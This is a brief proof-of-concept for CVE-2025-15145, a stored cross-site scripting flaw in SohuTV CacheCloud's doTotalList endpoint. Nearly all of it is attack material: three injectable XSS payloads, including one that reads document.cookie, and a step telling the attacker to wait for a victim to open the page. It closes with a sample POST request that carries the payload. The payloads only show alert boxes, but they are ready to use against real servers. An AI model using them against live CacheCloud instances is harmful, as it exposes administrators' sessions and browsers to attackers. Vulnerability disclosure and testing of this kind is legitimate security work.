CVE-2025-15145 SohuTV CacheCloud跨站脚本漏洞

<!-- CVE-2025-15145 XSS PoC for SohuTV CacheCloud --> <!-- Target: TotalManageController.java doTotalList method --> <!-- This PoC demonstrates the stored XSS vulnerability --> <!-- Step 1: Inject malicious JavaScript via the vulnerable parameter --> <!-- Replace the parameter value with the following XSS payload --> <script>alert(document.cookie)</script> <!-- Alternative XSS payloads --> <img src=x onerror=alert('XSS')> <svg/onload=alert(document.domain)> <!-- Step 2: Wait for victim to access the affected page --> <!-- The malicious script will execute in victim's browser context --> <!-- Example HTTP request for PoC --> POST /totalManage/doTotalList HTTP/1.1 Host: target-server Content-Type: application/x-www-form-urlencoded Cookie: admin_session=xxxxx param=<script>alert(document.cookie)</script>